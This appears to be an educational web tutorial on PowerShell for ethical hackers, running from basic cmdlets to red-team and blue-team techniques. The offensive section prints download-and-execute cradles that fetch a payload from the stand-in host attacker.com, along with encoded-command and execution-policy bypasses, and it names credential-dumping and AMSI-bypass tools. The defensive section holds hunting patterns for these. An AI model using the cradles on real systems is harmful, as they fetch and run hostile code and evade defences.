01 · INTRODUCTION

🪟 What Is PowerShell?

PowerShell is Microsoft's task automation and configuration management framework. First released in 2006, it combines a command-line shell with a scripting language built on the .NET framework. Unlike traditional shells (CMD, Bash), PowerShell works with objects, not just text.

There are two main versions:

For ethical hackers, PowerShell is a double-edged sword. It's the most powerful tool for Windows administration — and also the most abused tool in modern cyber attacks. Red teamers use it for post-exploitation; blue teamers use it to hunt threats. If you work with Windows, you must know PowerShell.

💡 Note: PowerShell is pre-installed on every modern Windows system. On Kali Linux, you can install PowerShell 7 for cross-platform scripting.
02 · WHY POWERSHELL

💡 Why Learn PowerShell?

⚙️

Windows Automation

Automate every Windows task — backups, deployments, user management.

🔧

Object-Oriented

Work with objects, not text. Filter, sort, and manipulate structured data.

🌐

Remote Management

Manage thousands of machines via WinRM and PowerShell Remoting.

💥

Red Team Favorite

Post-exploitation, lateral movement, and C2 frameworks use PowerShell.

🛡️

Blue Team Essential

Hunt threats, parse logs, and respond to incidents with PS scripts.

☁️

Azure & M365

Manage cloud infrastructure and Microsoft 365 via PowerShell.

🔑 Key Insight: PowerShell is fileless — it runs in memory without touching disk. This is why it's both loved by attackers (evasion) and feared by defenders (hard to detect).
03 · FUNDAMENTALS

📚 PowerShell Fundamentals

Opening PowerShell

Press Win + X and select "Windows PowerShell" or "Terminal". For admin tasks, choose "Windows PowerShell (Admin)".

Your First Commands

# Print text Write-Host "Hello, Ethical Hacker!" # Get current date Get-Date # List files Get-ChildItem # Get current user whoami

Cmdlet Naming Convention

PowerShell cmdlets follow a Verb-Noun pattern, making them self-documenting:

VerbPurposeExample
GetRetrieve dataGet-Process
SetModify dataSet-Item
NewCreate newNew-Item
RemoveDeleteRemove-Item
StartStart service/processStart-Process
StopStop service/processStop-Process
InvokeExecuteInvoke-Command

Getting Help

# Get help for a cmdlet Get-Help Get-Process # Show examples only Get-Help Get-Process -Examples # Update help documentation Update-Help # Find commands by keyword Get-Command *service* # Show cmdlet syntax Get-Command Get-Process -Syntax
04 · CMDLETS & OBJECTS

🔧 Cmdlets & Objects

PowerShell is object-oriented. When you run a command, you get back objects with properties and methods — not just text. This is a game-changer for automation.

# Get processes (returns objects) $processes = Get-Process # Access properties $processes | Select-Object Name, CPU, WorkingSet # Filter by property $processes | Where-Object { $_.CPU -gt 100 } # Sort objects $processes | Sort-Object CPU -Descending | Select-Object -First 10 # Get object type $processes[0].GetType() # See all properties and methods $processes[0] | Get-Member
05 · PIPELINE

🔗 Pipeline & Data Filtering

The pipeline (|) passes objects from one cmdlet to the next. Unlike Bash (where you pass text), PowerShell passes rich objects with properties intact.

Essential Pipeline Cmdlets

# Filter — only matching objects pass through Get-Process | Where-Object { $_.Name -like "chrome*" } # Select specific properties Get-Process | Select-Object Name, Id, CPU # Sort results Get-Process | Sort-Object CPU -Descending # Group by property Get-Process | Group-Object Company # Measure count, sum, average Get-Process | Measure-Object CPU -Sum -Average # Format output Get-Process | Format-Table Name, CPU -AutoSize # Export to CSV Get-Process | Export-Csv processes.csv -NoTypeInformation

Real-World Pipeline Examples

# Top 5 memory-consuming processes Get-Process | Sort-Object WorkingSet -Descending | Select-Object -First 5 Name, @{N='RAM(MB)';E={[math]::Round($_.WorkingSet/1MB,2)}} # Find stopped services set to auto-start Get-Service | Where-Object { $_.StartType -eq 'Automatic' -and $_.Status -eq 'Stopped' } # List files modified in last 24 hours Get-ChildItem -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) }
06 · VARIABLES

📦 Variables, Arrays & Hashtables

# Variables (start with $) $target = "192.168.1.1" $port = 22 $is_open = $true # String interpolation Write-Host "Scanning $target on port $port" # Arrays $ports = 21, 22, 80, 443 $ports += 8080 # Loop through array foreach ($p in $ports) { Write-Host "Port: $p" } # Hashtables (key-value pairs) $target_info = @{ IP = "192.168.1.1" Port = 22 OS = "Windows" } Write-Host $target_info.IP $target_info["Port"] # Custom objects (PSCustomObject) $result = [PSCustomObject]@{ Target = "192.168.1.1" Status = "Online" Ports = $ports }
07 · CONTROL FLOW

🔀 Control Flow

# If / ElseIf / Else $port = 443 if ($port -eq 22) { Write-Host "SSH" } elseif ($port -eq 443) { Write-Host "HTTPS" } else { Write-Host "Unknown" } # Switch switch ($port) { 22 { Write-Host "SSH" } 80 { Write-Host "HTTP" } 443 { Write-Host "HTTPS" } default { Write-Host "Unknown" } } # For loop for ($i = 1; $i -le 5; $i++) { Write-Host $i } # While loop $n = 0 while ($n -lt 5) { Write-Host $n $n++ } # ForEach-Object (pipeline version) 1..5 | ForEach-Object { Write-Host $_ }

Comparison Operators

OperatorMeaning
-eqEqual
-neNot equal
-gt / -geGreater than / or equal
-lt / -leLess than / or equal
-likeWildcard match
-matchRegex match
-containsCollection contains
-inValue in collection
08 · FUNCTIONS & MODULES

🧩 Functions, Scripts & Modules

Defining Functions

function Test-Port { param( [Parameter(Mandatory=$true)] [string]$ComputerName, [int]$Port = 22 ) try { $tcp = New-Object System.Net.Sockets.TcpClient $tcp.Connect($ComputerName, $Port) $tcp.Close() return $true } catch { return $false } } # Usage Test-Port -ComputerName "192.168.1.1" -Port 443

Advanced Functions with CmdletBinding

function Get-OpenPort { [CmdletBinding()] param( [Parameter(Mandatory=$true, ValueFromPipeline=$true)] [string]$ComputerName, [int[]]$Ports = @(21, 22, 80, 443) ) process { foreach ($port in $Ports) { $result = Test-NetConnection -ComputerName $ComputerName ` -Port $port -WarningAction SilentlyContinue if ($result.TcpTestSucceeded) { [PSCustomObject]@{ Host = $ComputerName Port = $port Status = "Open" } } } } } # Usage Get-OpenPort -ComputerName "192.168.1.1"

Creating Modules

# Save functions in MyTools.psm1, then: Import-Module .\MyTools.psm1 # List imported modules Get-Module # List commands in a module Get-Command -Module MyTools
09 · FILE OPERATIONS

📁 File & Directory Operations

# Navigate Set-Location C:\Users Get-Location Get-ChildItem -Force # Create / remove New-Item -ItemType Directory -Name MyFolder New-Item -ItemType File -Name notes.txt Remove-Item notes.txt Remove-Item MyFolder -Recurse # Copy / move Copy-Item file.txt C:\Backup\ Move-Item file.txt C:\Archive\ # Read content Get-Content file.txt Get-Content file.txt -Tail 10 # Write content "Hello" | Out-File output.txt Add-Content output.txt "More data" Set-Content output.txt "Overwrites file" # Search inside files Select-String -Path *.log -Pattern "error" # Copy wordlist of targets Get-Content targets.txt | ForEach-Object { Test-Connection -Count 1 -Quiet $_ }
10 · REMOTE MANAGEMENT

🌐 PowerShell Remoting

PowerShell Remoting lets you run commands on remote machines over WinRM (port 5985/5986). Essential for managing fleets of Windows servers — and a common technique in lateral movement.

# Enable remoting on local machine (admin) Enable-PSRemoting -Force # One-to-one interactive session Enter-PSSession -ComputerName DC01 # One-to-many (run on multiple machines) Invoke-Command -ComputerName DC01, DC02, WEB01 ` -ScriptBlock { Get-Service WinRM } # Persistent session $s = New-PSSession -ComputerName DC01 Invoke-Command -Session $s -ScriptBlock { whoami } Remove-PSSession $s # With credentials $cred = Get-Credential Invoke-Command -ComputerName DC01 -Credential $cred ` -ScriptBlock { Get-Process }
💡 Note: PowerShell Remoting requires WinRM to be enabled. Modern Windows Server 2012+ has it enabled by default.
12 · OFFENSIVE POWERSHELL

💥 Offensive PowerShell (Red Team)

PowerShell is the #1 post-exploitation tool on Windows. It's installed everywhere, trusted by the OS, and can run in memory without touching disk. Here are the key techniques used by red teams (for authorized engagements only).

Download & Execute (Cradles)

# Download and run a script in memory IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1") # Using Invoke-WebRequest $s = Invoke-WebRequest -Uri "http://attacker.com/payload.ps1" -UseBasicParsing Invoke-Expression $s.Content # Base64-encoded command (bypasses some filters) $cmd = "whoami" $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) powershell -EncodedCommand $b64

Execution Policy Bypass

# Bypass execution policy for current session Set-ExecutionPolicy Bypass -Scope Process # Run script with bypass (from CMD) powershell -ExecutionPolicy Bypass -File script.ps1 # Check current policy Get-ExecutionPolicy -List

Key Offensive Tools

⚡ PowerSploit

Classic collection of PowerShell exploitation scripts.

🎯 Empire / Starkiller

Post-exploitation C2 framework built on PowerShell.

🔍 PowerView

AD reconnaissance — enumerate users, groups, ACLs, trusts.

💉 Invoke-Mimikatz

Dump credentials from memory via PowerShell.

🕵️ Nishang

Offensive PowerShell scripts — reverse shells, keyloggers, exfil.

⚙️ AMSI Bypass

Bypass the Anti-Malware Scan Interface for undetected execution.

🔐 Invoke-Obfuscation

Obfuscate PowerShell scripts to evade AV and EDR.

📡 Covenant

Modern .NET C2 framework with PowerShell support.

⚠️ Legal Warning: Using these techniques against systems you don't own or have explicit written permission to test is a serious federal crime in most countries. Only use in authorized pentests, red team engagements, or legal labs.
13 · DEFENSIVE POWERSHELL

🛡️ Defensive PowerShell (Blue Team)

Blue teamers use PowerShell to hunt threats, parse logs, and respond to incidents at scale.

Log Analysis

# Get failed login attempts (Event ID 4625) Get-WinEvent -FilterHashtable @{ LogName = 'Security' Id = 4625 } -MaxEvents 50 | Select-Object TimeCreated, Message # Get PowerShell script block logging (Event ID 4104) Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' | Where-Object { $_.Id -eq 4104 } | Select-Object TimeCreated, Message -First 20 # Find suspicious encoded commands Get-WinEvent -LogName 'Security' | Where-Object { $_.Message -match "-EncodedCommand|-enc " }

Threat Hunting

# Find processes with suspicious command lines Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match "downloadstring|iex|invoke-expression" } | Select-Object Name, CommandLine, ProcessId # Find suspicious scheduled tasks Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\*" } | Select-Object TaskName, State # Find recently modified executables in user dirs Get-ChildItem $env:APPDATA, $env:TEMP -Recurse -Include *.exe, *.ps1 | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }

Hardening Recommendations

14 · BEST PRACTICES

✅ Best Practices

  1. Use Get-Help — Every cmdlet has built-in documentation.
  2. Use approved verbs — Get-Verb shows the list. Use Get-, Set-, New-.
  3. Prefer objects over text — Never parse text when you can work with objects.
  4. Use CmdletBinding — For advanced functions with parameter validation.
  5. Handle errors — Use try/catch and -ErrorAction.
  6. Use -WhatIf and -Confirm — Test destructive operations safely.
  7. Store credentials securely — Use Get-Credential, never hardcode.
  8. Sign your scripts — Use code signing for production scripts.
  9. Follow PSScriptAnalyzer — Lint your scripts for best practices.
  10. Comment with <# #> — Use help-based comments for advanced functions.
# Enforce strict error handling $ErrorActionPreference = "Stop" Set-StrictMode -Version Latest # Safe delete with -WhatIf Remove-Item C:\Temp\* -Recurse -WhatIf # Then actually delete after confirming Remove-Item C:\Temp\* -Recurse -Confirm
16 · CONCLUSION

🎓 Final Thoughts

PowerShell is the most powerful automation tool on Windows — bar none. Whether you're a sysadmin managing thousands of servers, a red teamer performing post-exploitation, or a blue teamer hunting threats, PowerShell is essential to your workflow.

Its combination of object-oriented pipelines, deep Windows integration, and remote management makes it uniquely powerful. And because it's installed by default on every modern Windows system, it's also the most trusted execution environment — which makes it a favorite for attackers.

The journey follows a clear path:

  1. Learn cmdlets — Master Get-Command, Get-Help, Get-Member.
  2. Master the pipeline — Filter, sort, group, and select objects.
  3. Write scripts — Automate repetitive admin tasks.
  4. Build functions — Modular, reusable, parameterized.
  5. Learn remoting — Manage remote systems at scale.
  6. Explore AD — Enumerate users, groups, and permissions.
  7. Study offensive/defensive — Both sides of the coin.
🚀 Next Steps: Open PowerShell on a Windows VM. Run Get-Process | Sort-Object CPU -Descending | Select-Object -First 10. Then write your first function. Then import it into a module. Within weeks, you'll be automating like a pro.

Happy hacking — ethically. 🪟